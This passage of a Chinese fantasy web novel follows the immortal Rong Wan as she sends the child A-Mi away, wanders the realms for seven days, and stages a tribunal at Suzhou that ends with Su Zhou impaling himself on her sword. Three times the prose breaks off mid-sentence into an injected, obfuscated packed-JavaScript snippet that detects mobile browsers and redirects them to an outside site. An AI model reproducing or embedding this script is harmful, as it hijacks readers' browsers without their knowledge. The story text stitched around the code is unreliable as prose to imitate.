“不是,你的娘亲我见过的,她美丽、勇敢,非常非常爱你。”容晚将自己埋在她怀里,去追逐那具小小身体的温暖。 许久不见,姑姑脸色白了好多,手腕上也是血淋淋的,那道伤痕好似不会痊愈一般,其上闪着一弯鲜红的月印。 姑姑很难过。阿弥抱紧容晚,像衡游无数次抱她那样,用力地抱着容晚,“不记得娘亲……好像那样也没关系,我记得姑姑就够了。” 真相呼之欲出,堵在心口令人生痛。容晚拥住阿弥,哽咽道:“阿弥,对不起。” 我实在无法坦然相告。阿弥、阿弥……我该如何告诉你,你的父母皆因我而亡。 我可爱的阿弥……我该如何偿还你。 65. 弃我去者 视线里望见一片盛大的灵弦草原野,容晚带着阿弥飞下麒麟兽,她指尖捧着舒展的枝叶,两人行走其中,一走一动,惊起无数微蓝的光亮。 “阿弥,以玉佩为媒,此间灵境所有灵器是我同你爹爹一起做的,每一件我们都撰写过灵器心决。”容晚将腰间的灵佩递出,这是一块弯月形的玉佩,和阿弥腰间的是一对。 “姑姑全送给我?自己什么也不留吗?”阿弥接过玉佩,按着衡游教她的法子仔仔细细地看着灵境中的物件,不时发出惊喜的欢呼声。 时间停滞的灵器,他们探寻夙昼身世时用过。三界藏书的复本,容晚毕生所学的留影珠,这世间有关衡游与褚空月所有的影像与文字,天才地宝,灵丹妙药,数不胜数。 还有衡游的那一处灵境,其间所有容晚一次也不曾看过。 甚至还有这一只正奔跑在原野的墨色麒麟兽,附赠一堆灵鸢蛋。 “阿弥,我不知道还能留给你什么?”容晚满含歉意地望向阿弥。 “姑姑要走?那我呢?我怎么办?”阿弥眼里漫出泪水,琉璃般澄澈的眼睛瞬间瞪大,她紧紧抱住容晚,拼命摇头。 所有人都说她父母双亡,她不信。褚尽欢斥责了所有闲言碎语的人,她还是不信。 “不哭。”容晚蹲下身,微微仰视阿弥,她轻柔地拭去泪水,整理阿弥并不乱的衣襟。 “沿着这里的石阶一直往上走,尽头会有一个白胡子老爷爷等你,相信他,就像相信姑姑和爹爹一样。” “他要是对我不好怎么办?”阿弥被牵引至石阶下方,不肯上去,一阶也不肯。 虚无的石阶似乎在阿弥脚下显现,容晚看不见石阶的尽头,慕然察觉到那道一如往昔慈祥、仁爱的眼光,声音也透出几分委屈,且能让阿弥感到爱。 “他会像我们一样爱你。姑姑也会努力地来接你回家。而我们阿弥好好活着。” 阿弥哇得哭出声,她用力地抱住容晚,嚎啕大哭。直到哭声渐息,阿弥擦干眼泪,“姑姑,阿弥永远爱您。” 迎着煦日的初光,小姑娘的脸上泛着水光,她扯起的笑脸真是算不上好看。容晚赞赏的眸光毫不吝啬,她望着阿弥转身,看她紧紧环抱住自己,再把玉佩攥在手心,一步一步遥遥晃晃往上走。 墨色麒麟兽在容晚脚边亲昵地蹭了蹭,得到爱抚——容晚只是轻拍了下脑袋,墨麒便依依不舍、脚步极快地追上阿弥。 直至他们消失在空中,容晚最后看到一道虚无的白影,他手边牵着一个小姑娘,脚边是一团跳动的墨麒团子,也是虚虚的淡影。 “容晚。”仙祖顿了一下,“事已至此,你可曾后悔过?你同与褚尽欢同门,因那所谓情谊,向他泄露天机,又救下那本该死去的孩子,为他屡犯禁忌,乃至今日种种。” “不悔。”容晚眸中的苦涩被压下,声音是苍凉的。 “你是吾最通透的弟子,你该记得,逐你出师门不是你的过错。”仙祖莫名停顿了一下,声音似是染上哀凉,“也该记得,今时的必偿苦果。” “师父。”容晚似乎无法忍耐,泪意哭腔统统显现,“我要怎么办?我该怎么办?” 杀夙昼?杀容皓?杀掉自己?还是眼睁睁地看着人间俘尸万里,等那不知何时的终了之日? “因果有伦常。”仙祖更多地在怜惜容晚,她是他最喜爱的弟子,没有之一,他忽然笑了起来,“七日为期,去看看这人间,三界,四海,一切都会结束的。” 微光消散在天际,似有一只温暖的手拂过她面颊泪意,容晚呆坐了许久,直到阳光猛烈地映晒原野,热意蒸腾,她离开这片原野。 沿着两界战火交锋处北上,容晚走过落乌的军营行帐,默然注视着战火交锋,两界开战。 虚化的身形溅不到血液,她却由心到身,寸寸被热血所烫。 这是第一日。 掩去形貌,她在第二日混入上因的军伍,喂过一日天马。 第三日,她在人间界流连,做了一日的小乞丐。 第四日,容晚进入行伍,拿着炊事大勺,烧了不算好吃的菜汤。 闲下来时,她去山上猎到一只巨魔兽,小火烤上一天,给士兵们分下去。还要给褚尽欢留下一块炙小排。另一块用灵鸢寄给夙昼。 平静到日子好像会如此这般,一直停下来。起初容晚算着时日,日日回落乌,无论是御剑、用传送印、或者大价钱用最好的传送阵。 直到第五日深夜,容晚不小心掉落了玉牒,不过半刻,褚尽欢神色冷漠地出现,他唇角微微斜起,眸中有过一闪而逝的幽怨。 后来,她能回王城便回,赶不及时便找个舒服的地方或坐或躺。不出半刻,褚尽欢便会出现。 再后来,他也不玩日日相见的游戏。有空时便同他在一起,没空时便带着她一起,像放风筝般许她一定的空间。 这些时日,容晚想过良多,她插手三界争端,便是在三方势力中有了偏倚。 战事一兴,便有伤亡无数。她想止战,必须要有偏倚,直到这世界回到本初的模样。 云间的风冷冽清爽,裹扎着细碎元灵扑在面上,容晚在第六日独身来到人间界。 提笔书写的中年帝王蓦然抬头,眼神迷晃地望向她,“上仙?” 陌生的面容映入眼帘,容晚问:“你是?” “薛迢。”眉目温润的中年男子答道:“自先帝下落无踪,我即位已有三十二年。” “你为何认得我?” 薛迢指向她身后,说:“先帝敬您仰您,因此上仙的画像、仙祠随处可见。” 人间界万万里土地上,建立着无数座怜光仙祠,供奉怜光上仙。 “这些年,他在做什么?”容晚问。 薛迢含笑道:“我许久未见过他。起先他偶尔回来教导我,后来我的政绩民间便可耳闻,他便不再回来。” “你很好。”容晚审视青年帝王,明明面目无一分相像,帝王之气像极了夙昼。 “是他教得好。等我再见他,不知是何日。还望上仙代我言谢。” 离开王宫时,容晚再次登高奉天门,眺望远方的处处人家,炊烟袅袅,当年那家桂花糕的三岁小童,如今已至耄耋之年。 许是嘴馋,许是心颤,容晚买过一包桂花糕。上仙对人间岁月流淌总是不那样清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13949440|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晰,她细问今夕是何年。 “一百九十九喽~” 星河轮转,如今人间已是霜元第一百九十九年。 等月亮升起,便是她的生辰。 一千六百岁生辰。 以及,第七日。 晚风微冷,因着战火的缘故,往常盛开的灯市不见,荒芜的街道上忽然出现一道影子,赶在微雨落下的刹那,在她顶上斜斜撑起一把伞。 “明日我要去上因了。”容晚递给褚尽欢一块小排骨,在他吃得最香时开口,“你一定知道我这些日子在做什么。” 眸中染上疏离的笑意,容晚说:“你别把小排骨吐出来,因为我没有时间再为你烤了。安安静静地听我说完。” 褚尽欢难得安静,眸光带着热度望向她。 容晚又递给他一块小排骨,说:“我知道你要留我的命,你要日日相见是因为我灵力停止再生,我也知道你不救衡游是在给我留生的可能。” “一切的一切,我都明白。”容晚道:“但是……你留不住我,所以别浪费那盏灯。师父能起死回生,可是我不会死,哪怕你以为我死了,我仍然活着。” 很久没见过云云峰的夏日,眼前虚妄的景色美得像梦,容晚开始确信那是一个梦。 “你不救衡游,我怨你的,但更怨我自己。所以你用最后一盏灯,去救谁都可以,但一定救不了我。” 褚尽欢投来疑惑的目光。 容晚又递给他小排骨,说:“就知道你不信,你可以为我点灯。那时你就知道我眼下说的很对。或者,有没有这样一种可能,你可以为自己点呢?你若真的想要我活着,不如自己活着,去验证我的话?” 最后一块小排骨放递给褚尽欢,容晚同他告别:“我要走了,不要再为我输送灵力了,足够了。” 风吹起她的衣裙,容晚坚定无畏地望向云间,那云后的上因。 “别忘了五指所成的天道契,违契者死。”褚尽欢冷言冷语,他厌恶她眼中的死气。 “我记得。”容晚笑道:“就算如此,我也不要与你日日相见。” “走!”褚尽欢的声音染上怒意,“别让我知道你死在哪。” “我会告诉你。” “怎么,还要我帮你收尸不成?” “是帮我们。” - 不知是哪一战的间隙。 隔着人海,容晚第一次看清夙昼在战场上的模样。 一招一式,剑光缥缈,杀人于无形。这是容晚教他的,哪怕他再如何避免,剑招之中仍有容晚的影子。 容晚能插手夙昼与容皓之间,却插不进两界战事。妄想一人止战,实是异想天开。 她渐渐幻化模样,手握上因剑,跨上战马,朝夙昼奔去。 铁马金戈,湍流怒海。 夙昼冷声道:“容皓,好久不见。” 谁知来人一言不发,提剑便打,同剑光一起落下的是血红阵印。 夙昼有些恍惚,容皓的剑招,他竟有些熟悉,像是……师父。 恍惚之中,剑刃刺入容皓肩下一寸。 殷红的血和着细碎的白光倾泻。 66. 弃我去者 当血雾弥漫双眼,酣战士兵的呐喊在耳边成为陪衬,端方首座捂住颈肩,手握住冰冷的剑刃拔出身体,微墨色的瞳望向夙昼。 那是一双和容晚相像的眼睛。 黑水湍流在夙昼身后汹涌地奔向远方,雪落在身上,被热血融化。难得一见的大雪。夙昼收回剑,周身的护身阵法撤下,眼前人的眸光平淡冷静,他好似对什么都不在意,包括这场战争的胜利。 “竟然走神?”容晚不曾考虑他眸光里的疑惑,起手一掌,推离夙昼。 血染衣衫,她却不痛。 容皓眼中的嫉恨消失了。他和容晚达成了什么交易。夙昼眼中茫然,忽然抬脚朝对方走去,剑锋落下指向自己,“你为什么——” 脚下血阵幻化成巨大的虚影,震退夙昼,在冷风中隔绝着彼此的距离。容晚避过他的目光,手中的伤痕生痛,冰冷的剑意镌刻进心里,肩上的伤口仍在渗血,只能感到热意滚烫。像他的吻。 “灵台审判,你记得来。”容晚捂住伤口,带着霜雪的阵印压在伤口上,微冷胜过热意。 “审判谁?你已审判过衡游,还要审判谁?从不上战场的首座,受我一剑,就为了一句审判的消息。”夙昼盯住眼前人的眼睛,“难道不是一只灵鸢寄来更好。” “自然是你师父。” “你敢——” “我敢。”容晚打断他,以容皓的声线,以她自己的名义。她翻身骑上白马,衣衫溅血,不晴剑伤难愈,手上肩上的伤口怕是要留痕。 身后的剑光、阵印疯魔一般袭来,容晚不曾回头,繁复灵阵自湍流中涌动,汇成巨大的屏障,抵挡一切。 下一阵风雪袭来时,夙昼望不到容皓的身影,上因的大军一起消失。骤起的狂风吹雪,模糊了他的视线,刺激得他眼眶通红。 灵阵的光芒散去,夙昼哀伤地呼出一口冷气,善修阵法的不是容皓,是她。 空旷的战场上,夙昼抬起不晴剑,剑刃的血迹未干,他抚摸着剑锋,用力握上去。那是她的血,夙昼示令众将士修整,他带着不晴剑离开,身影消散在风雪中。 “她说明日。”夙昼说不清心绪为何烦躁不安,他握紧手中的剑,对褚尽欢说:“你准备好身后事。” “我孑然一身,有什么好准备的?”褚尽欢不必理解他所说的准备,手中紧握的小丑草繁茂,透出惊人的生命力。他将小丑草推给夙昼,视线眷恋地落在上面,“交给荣容晚,这是个藏尸埋尸的好宝贝,不是吗?” 果然,容晚早就说过,钟鸣尸身喂于小丑草一事瞒不过褚尽欢。夙昼显然不想回答他,“你想要我怎样公布你的死讯?” “殉情?”褚尽欢笑得神秘,他指尖碰上小丑草的叶片,叶片舒展开来,吃人的藤蔓却亲昵地缠上他的手指,他微笑着望向夙昼。 “就说我爱容晚爱而不得,装着寻死,却一不小心,真的死了。” 夙昼冷哼一声。 - 上因宫外,灵阶上挤满无数的将士、仙官,他们的兵刃尚染着血,却在一瞬间回到上因。而造成这一切的人正推开上因宫的门—— 宫内的首座愉悦地看着手中密报,开怀地笑过一声,视线撞上来人的瞳眸。他眸光不动,直直落在容晚肩上的伤痕,笑道:“他如此决绝,我便开心。你今日领上因的兵,便再无退路,从此以后只能同我站在一起。” “我何时退缩过?”容晚避过他的怀抱,沿着玉阶往上走,在堆满战书密报的书案前坐正,染血的手提笔下诏,“灵台审判,公诸三界……” “没有什么灵台审判,哥哥绝不会让你受刑。”容皓掰开她执笔的手,渗血的伤痕漫出极其细微的白诡火,从前种下的诡道禁阵几近是残余。 真是不要命了。容皓怒视着平静淡然的容晚,抬手一挥,笔墨纸砚,连同象征首座之位的玺印轰然坠地,他的愤怒一同落地,从喉间争先恐后涌出质问声。“容晚,你想要什么我都给你,全都给你!首座之位,上因界,都给你!对啊,你不在意这些,那我的命给你!你不是和衡廷肃说要杀我报仇吗?你来取我的命啊!” 声嘶力竭的呐喊声,首座的端方雅态落了一地,染了几千年的尘。容晚不自觉皱起眉。容皓瞬时小心翼翼地、颤抖着握住她的手,几近哀求道:“只要你活着,想要什么我都给你。我解开天道契,你不必杀了夙昼,你喜欢他,就带着他归隐,我什么都许给你。” 容晚忽然想笑,想开怀大笑,没想到这位淡漠冷情的首座这样看重她的性命,但他到底还是会一次次言不由衷,他做不到的,这些话只是如纸轻薄脆弱的允诺。 “我想要诏书,灵台审判的诏书。”她俯身捡起染墨的诏书,拾起那方玺印,工工整整地改上,停顿了一瞬,冲容皓笑道:“只需要首座盖上私印,我自己可以把诏书发往三界。” “衡游的死对你打击这样大吗?为什么他死后,你就变了……”容皓猛地捏住她的肩膀,下意识避过那道剑伤留下的伤口。 “不、要、提、起、他。”容晚一字一句地制止容皓,“你不配。” 不可否认,衡游的死给容晚带来致命打击,这是她真正意义上,第一次直面在意之人的死亡。她知道三界共主之争死伤难免,也在很多年里这样认为,并且认同所谓系统的说辞。 她曾一直相信这里是话本的游戏,同意为人间建大业,结下天道契,那是因为她自信地认为所有的生死是合理的、必然的。 躲在人间桃林里的时光,淡化她对战事的认知,后来容皓在幻境中拘束她漫长的时间,她只想着自由、想着回家。 最无法忍受的时候,她想用一切手段逃离这个世界,一次次违规通报就这样炸响在耳边。 容晚自以为无畏、清醒,她坚信自己能果断地抽身,将此间所有过往埋葬在回忆里,直到回家。 可是衡游死了。容皓杀他,她杀了他。所有的悲痛、从灵魂里撕裂的痛楚在警告她,没有什么回落落涧的家了,没有设呢么希望了。 天天年年,一千六百年的时光,此间早已成了家。 容晚痛恨战事,她将诏书交给容皓,“我不想再有战事了。”澄澈的眼睛里是鲜红血丝,泪光闪闪,“不能再有更多人失去了。” 沉默中,容皓在那方诏书中盖上私印,提笔签上自己的名字,“晚晚要诏书,哥哥给你便是。你想要做的,我都帮你,只要你活着。” “但愿这一次是真的。” 诏书已成,容晚注入灵力,如雪一般纷白的流光飘往三界。 - 禁狱灵台自设立以来,受罚过最多的上仙唯二而已。一位是故去的衡游上仙,另一位则是首座之妹第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958935|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一上仙容晚,如今藏书阁的一位小仙。 掌管天罚记事簿的胖仙官曾被容皓下过诏令,不得泄露有关怜光上仙的任何记录。 可是又能泄露给谁呢?胖仙官捧着记事簿,骑着一只肥大的灵鸢,急匆匆地往夙州赶。 这次的审判不在灵台,在夙州。 将落的太阳催促着他勿要误时,等接近夙州时,各路仙家、魔族早已将夙州围得水泄不通。诏书所言,唯有通过夙州结界者方能亲观灵台审判,这属实是一个难题。 冰封百年的夙州结界强悍如斯,其上数位灵力强悍着所下阵印,而最惹眼的便是怜光上仙的阵法,那样特殊、美丽。 “让让!”胖仙官挤进去,惊叹于夙州的冰封雪景,壮观、盛大、恢弘的景色,一切都覆盖着白雪,或是璀璨冰晶。 诏书上又言,众人不可踏夙州一分土地,否则阵印吞噬元灵。于是胖仙官望见各色灵兽、魔兽,以及御剑的人间仙门,顺着云层自高而下、一圈圈围绕中心飞定,像是诸天神佛围观信徒的悔过认罪。 那中心间站着几道身影,眼神盯了又盯,胖仙官一拍灵鸢,匆匆在容皓身边飞定,手忙脚乱地拿起灵笔,望向人群视线的中心。 胖仙官屏住呼吸,生怕错过一点细节。他的位置得极近、极好,透过云雾望得见容晚的眼神。 上仙容晚身姿风资如旧,不,更显风骨。肩上、掌心有伤痕,渗血。眸光冷冷地扫视满天来客,她一直未动,修长的手指把玩着上因间,似是在等待什么人。 “都到了。”容晚微微偏了下头,眸光落向刚刚穿过云层的一行人。夙昼同褚尽欢站在一起,两人像达成共识一般沉默地站在云端,身边还跟着几只赌场里的小妖精。 “今日灵台审判,我之所以选在夙州,是因为这里是一切罪孽的源头——” “师父!”夙昼的声音尚未传出,容晚种在他手腕上的血灵咒运转,所有的声音被都回胸口,僵立在云端上。他听见容晚的传音,“你不要插手,只管做那座上客”。 “霜元百年,夙州血案,如今白雪之下尽是当年血色。”容晚冷声说。 漫天的议论声渐起,但极其细微,隐隐有些暴雨将至前令人压抑的死寂。 “我想诸位已看过审判书,知晓我的罪行。”容晚举起手中的审判书,催动禁阵轻飘飘地传出无数光点,落在众人手中,“那再请诸位仔细看一看手中的审判书,瞧瞧罪行几何?” 漫天的静默霎时打破,惊愕声四起,有一位仙官从灵兽上摔下来,被容晚轻飘飘地送回去。 “疯子!”一位仙官冲下来,眉眼怒横,骂道:“容晚,你就是个疯子——” 笑意陡然消失在脸上,容晚冷冷说:“诸位真的以为今日是来看我的灵台审判吗?不——” 她默然注视着所有人,道貌岸然者、伪善欺骗者…… “我固然有罪,但诸位——通过夙州血色禁阵的诸位,容我提醒那是一道勘验身份的阵印,我没用什么灵力,所以不要以为自己是勘破阵法的胜利者、今日的旁观者。” 容晚极其冷静,她的语调缓慢而平和,似乎是在念一篇美丽的诗文。她抬手朝虚空一抓,血色阵印轮转,无数朵血红的彼岸花自从中降落,枝叶化链,花化锁。 “夙州血案,三界大乱,诸位与我同罪。” 67. 弃我去者 烈火顺着阵印符文燃烧,霜雪铸就的阵法美丽而冷酷。 当第一个仙官祭出命剑,抵抗袭来的诡异红光时,无数法印划过空气,各色剑光肆虐交织,映得将阴沉天幕亮如白昼,宛如夜幕中成群的星河在这一刻全落在夙州。 尖叫声、兽吼声、怒骂声,异常刺耳,漫天乱飞的元灵。他们无暇细想,竭力攻击着血色禁阵,在巨大的彼岸花锁前争斗。 有人被花叶锁链捆住,僵直着站在云端,张开曾经沉默许久的嘴巴,“容晚,陈年旧事,就让他过去!难道今日在此间的所有人都得偿命吗?” 沉默许久的容晚缓缓地抬起头,这是曾教过衡游灵植一课的老神仙,仗着教过衡游的情分来说教她。 “仙长,我好像并没有要诸位‘偿命’。” 这位上仙自小时起便不好说话,他转而盯着容晚身侧摩挲指尖的容皓,“首座!您不可任由她胡闹!当年之事三界共谋,如今清算起来哪门哪家没有过错,谁的手上没有沾血,而你容皓,染血最多——” 犀利的话锋转向容晚,“那么,你为何不先杀他?” 谩骂声顺着灵力源源不断炸响在耳边,杀人的阵印一道道冲她飞去。 出不去的人、躲不开的人,他们的眼睛死死盯着容晚,她握着上因剑的手颤抖,身形似是随风摇晃,宛如下一刻血色阵印就能轰塌,好叫他们逃出生天。 “——容晚,你为什么不说话?” “——容晚,你可有胆亲手杀了我……” 有一句在纷乱的声音中那样轻,容晚缓缓抬头,望向声音的来源。 玄色衣衫的褚尽欢立于落乌众人间,他和夙昼隔得很远,常年所戴的玄铁护腕被卸下,狰狞的疤痕第一次坦露于世人眼前。 周遭并不安静,褚尽欢的声音顺着灵力回响在此间,他闪身至容晚面前,于众目睽睽下牵起她的手腕。容晚那仍在外溢的灵力,几乎看不见诡道禁阵的存在。 “你早知我是罪魁祸首,为什么不为他杀了我?”他的眼睛是凌厉的,掌下灵力源源不断地送给她,“为什么不杀了我呢?” “我不杀人。”容晚喃喃道。 “难道上仙对我旧情难忘?”褚尽欢得意扬扬地笑,他微眯起眼睛,颇为骄矜地扯了下嘴角,“当年决裂时,你可是口口声声要杀了我——” 语调懒懒地上扬,褚尽欢在如此场合提起旧事,一副恋旧的模样。 在场的许多人惊诧,有些人却并不惊奇,毕竟这些传闻早有,只是没谁真的当真。如今褚尽欢公然提出,容晚拧着眉头问:“你在干什么?” “示爱,不明显吗?”褚尽欢说。 下意识、没有犹豫地,容晚抬眸望向云端上的夙昼,他缄默着,站在云端上,眼睛牢牢锁在容晚腕间。 “你最好住嘴,你和夙昼就想出这么个主意?蠢。”容晚不想浪费灵力,手腕就这样被他扣住,下一瞬,又被暴力甩开。 “你以为你是谁?”褚尽欢冷眼相看,嗤笑道:“那样一个玩物配和我相提并论?他敢说爱你吗?而我——” 手中的上因剑横侧在褚尽欢颈间,剑锋抵在喉间,鲜红的血流淌,没入玄色衣衫。 容晚收剑,冷声说:“别逼我。” “哈哈哈——”褚尽欢忽然狂笑道:“还真是旧情难忘?” 他朝容晚伸出手。 一柄晶白长剑裹着冰雪打落他的手,腕间的不晴剑痕发烫,褚尽欢怔愣住,久久不曾回神—— 察觉到褚尽欢惊愕的目光,夙昼早已侧过身挡在容晚身前,他牵起她的手,指尖牢牢嵌入,浅浅的笑意望向褚尽欢,以及她身后的容皓,“我有何不敢说爱?就算你与她有旧情,又如何?” 他挟着冬日冷意,护在容晚身前,不紧不慢地提起剑,眸光恹恹地望向他们,语调满是不屑,“师父,我的。” 剑拔弩张的气氛里,褚尽欢久久不曾说话,容皓只是默然地站在容晚身后,唇齿紧咬。 多么诡异的对峙。容晚挣开夙昼的手,质问说:“你们究竟商量了什么?实在是不必如此……” “这和我们商量的可一点都不一样。”夙昼略带敌意地盯着褚尽欢,而对方正盯着他—— 褚尽欢盯着夙昼手中那柄平平无奇的晶白长剑,定定地看了许久,怒火中烧地挤出一句话:“容晚,你拿不晴剑送他!” “一百年前,夙州雪夜,她赠我不晴,有何不可?看来所谓君首和我家上仙也没什么旧情。”夙昼嘲讽地摇了摇头。 “是没什么旧情。”落乌剑早已在手中,褚尽欢闭了下眼,他握剑的手是无法窥见的颤抖,本不必如此难堪,本不必…… 当两道剑锋在眼前交汇,剑光迸发的一瞬,容晚被容皓拉到身后。 纷乱的剑光中,两道人影缠斗得不可开交。容晚不明白为何他们忽然大打出手,绝不是所谓的几句旧情,又或是将不晴剑赠人这件事。 “答应晚晚绝不插手,便不插手,哥哥是不是今日做得很好。”容皓自空中的纷乱剑光里收回眸光,看见容晚的目光只落在那两人身上,紧张、焦灼、不安,她从未将这样的眸光落在他身上。 所有人的目光凝重起来,容晚也不例外,她心神微乱,整个夙州上空的血色禁阵涣散了一瞬。这不过是一个困阵,所有人或许终其一生也无法逃脱的困阵。 这是无人能阻拦的局面。容晚曾经无数次幻想过结局的那一日,她会如何平静地观看话本人物的死亡,如何淡定地审视着所有人注定的命运。但这一刻——只想着如何把命运握在手中。 三界共主之位,诱哄人人动欲,挥刀向无辜。倘若不再有什么共主。倘若这世间不再有她。 喉间泛上锈味,容晚压制住所有的情绪,冷声说:“到你了。” 白诡火自容皓指尖流淌出,以不可阻挡之势冲向天幕,世界诡异地安静下来。 诡道禁阵的金色符文自天而降,撕破长风轰然坠落,雪粒冰晶弥散,波澜壮阔的寒雾笼罩所有的所有,夜幕已至。 “阿昼,师兄,停下。”容晚以亲昵的口吻,挤入那场不死不休的战局,“你们的天道契约到此为止,不死不休的决斗结束了。” “出去。”夙昼冷冷道。他知道容晚的话中之意,她和容皓一起设下禁阵,一阵困人,一阵匡正天道,其中代价不过是一丝一伤,亦或双死。但无论是哪一种,他都不会允许,“你凭什么替我做决定?” “我就说,她还是多少有几分舍不得我。”褚尽欢剑意不停,趁着夙昼分神之际,长剑如虹劈向夙昼。 眸光尚落在容晚脸上,她腕间的伤口口未愈,血灵和白光一同漫出,禁阵吞噬她的灵力,生命力如汹涌湍流一般奔向死亡。夙昼盯着她微弯的唇角,如同陈年旧酒的苦涩,像那个雪夜的无数利剑般再一次刺穿他。 剑光劈来时,夙昼漫不经心地抬剑,眼睛死死盯着身形偏薄的容晚。 剑锋相碰,万物皆是崩毁前的颤抖。 清脆的晶玉破碎声,残剑碎片四溅,夙昼微微偏过头,眉间、眼尾是夺目鲜红的血痕,像是血色裂纹的白玉瓷,又在一瞬间恢复如初。 空空如也的双手垂下,夙昼不曾垂眸看颈侧寒铁般的落乌剑,他几度启唇,不顾颈间威胁,抵着落乌剑向她走去。 “为什么选我输?容晚,我问你为什么选我输?” 残碎的不晴剑漂浮在空中,那曾是晶白的、宛若琉璃的一柄剑,剑身长而薄,但有一寸光,便是极致绚烂的彩色,他总会在初日时,细细描摹那柄剑本来的模样。 日复一日地,听着容晚的话,将它幻化成平平无奇的一把剑,从不离身。 属于夙昼和褚尽欢的交锋戛然而止,更猛烈的风暴正在酝酿。 不晴剑碎不是她的本意,上因剑在容晚指尖显形,氤氲灵气环绕,浅金色的剑身环绕着一条冰晶般的眠龙。 “你早知道了。”容晚的声音有不可察觉的隐忍挣扎,“你早就知道,我曾数着时间等你注定的结局。” 并不是疑问。夙昼没有回答容晚,他指尖拂去落乌剑,盯着容晚身侧一脸玩味的褚尽欢,“这才是你找我做交易的理由。” 曾听过容晚的酒后呢喃,窥探过她的记忆,知晓她全部渴望的人,也许从不止他一人。夙昼自负地以为对于容晚而言他是唯一特殊的存在,但——他终归是出现得太晚,而那个与她同门的、他的手下败将出现在她少时。 注视着他的容晚仍是那样淡淡的,好似他的生死半分也不会叫她心绪波澜。手指抓住容晚的肩膀,他骤起的强悍结界将褚尽欢隔绝在外,血色厉火在结界外疯狂燃烧。 “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13973231|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是——”夙昼撕掉这些年所有的伪装,指尖按在容晚颈后,拨开衣襟,露出那道鲜红的月形印记——印记始于他们真正初见的那一日,是过往前尘的见证与烙印。 “你当年决绝离开乌衣巷尾,舍弃我、抛下我、叫我忘记你的理由。因为我的结局?” “你什么时候想起……”容晚惊诧地抬眼,想躲过颈后灼烫的指尖,声音微微颤抖。 “重要吗?”另一只手环住她的腰身,夙昼低垂着眼眸,微红血色的瞳眸盯着那一双如霜雪初融的眼睛,“前尘尽忘,不晴剑碎,你要拿什么赔我?” “你想要的,我给不了,而我能给的,你并不想要。”容晚没有躲他的怀抱,手指悄悄绕上他一寸发丝,骤然松开。 “你怎知我想要什么?”夙昼摩挲着那枚月印,指尖探入她指缝,一点点和她一同握住上因剑。他没想到容晚会顺从。 结界外厉火的爆破声传入耳中,隐隐有哀嚎声惊起,容晚皱起眉,“停下。” “褚尽欢死不了,其他人死了不是更好?何况今日夙州境内哪一个是无辜者?”夙昼蓦然松开她,眼中泛起不可察的泪光,他感觉到两相博弈的爱与恨意在心底撕扯。 言语化刀锋,伤人伤己,夙昼提起夙州血案,容晚无法避讳,也绝不否认自己的无辜。 初见时她以为这里只是话本世界,肆意洒脱,依着自己的心性.交友玩乐,向褚尽欢随口一说“你以后一定可以问鼎落乌”。 自那以后,褚尽欢开始以必胜的姿态挤入落乌的诸王纷争,乃至今时种种。 “是我从前不愿、也不敢细想,你应是恨我的,从我私下人间界同你相遇开始……”容晚淡淡道。 “应是恨你,容晚,应是恨你……”夙昼轻轻叹了一声,眼神中划过一瞬自嘲,“但我终究是欠你性命,你救我万万次,想要我的命给你便是,我总是愿意叫你活着的。” 上因剑的剑光自剑身流淌,他带着容晚握起剑。 剑意极快,快至容晚无法动作,掌间灵力下意识倾泻出去,同夙昼相抗衡,叫那剑不能刺得再深。她终于有空隙去看他。 煞白的脸色,心口处贯穿的上因剑,潺潺而落的鲜血,握在他们手中的剑柄。容晚眼睁睁地望着眼前人,以及,一双蕴含着无尽爱意的眼睛。 “杀了我,你就可以回家了。”夙昼紧紧抓住剑柄,结界外漫天厉火霎时熄灭,“这不是您等待的结局?” 染血的手强硬地摁住她握剑的手,夙昼笑道:“如今不用再等待了,不必再数着终了之日,可为什么你不开心呢?” 手间的血烫得灵魂在怒吼,容晚颤抖着摇头,眼泪无法遏制地落下来,她忽然紧紧抱住他,抱住他的一瞬,上因剑弥散于风中,止血的阵印一层层落上去。 “别哭。”夙昼泄力般将自己倚在她身上,这样的拥抱幻想过无数次,唯有今日成真。 如今的夙昼身量极高,容晚撑不住他,两人齐齐倒在云层中,她倚着云彩,环抱着他,哭声不歇,唇间溢不出一句话。 “容晚,我见过你的家,那样美、那样地与此间不同。我窥见你的渴望,而我的渴望是你,所以我允许你杀我。” “不是……”容晚痛心地说,“不是,回家……那不再是渴望了,我不要你因我而亡。” 关于落落涧的回忆是千年来自我美化的梦,不知何处的家只是孤独到极致的自我幻想。 都是假的。 只有她按照系统所言,那所谓话本走的一步步路是真的。她和许许多多人一起走到了今天。这才是真的。 “不能再有人因我而亡,随便是谁。”容晚说。 “那你如今的渴望是什么?” 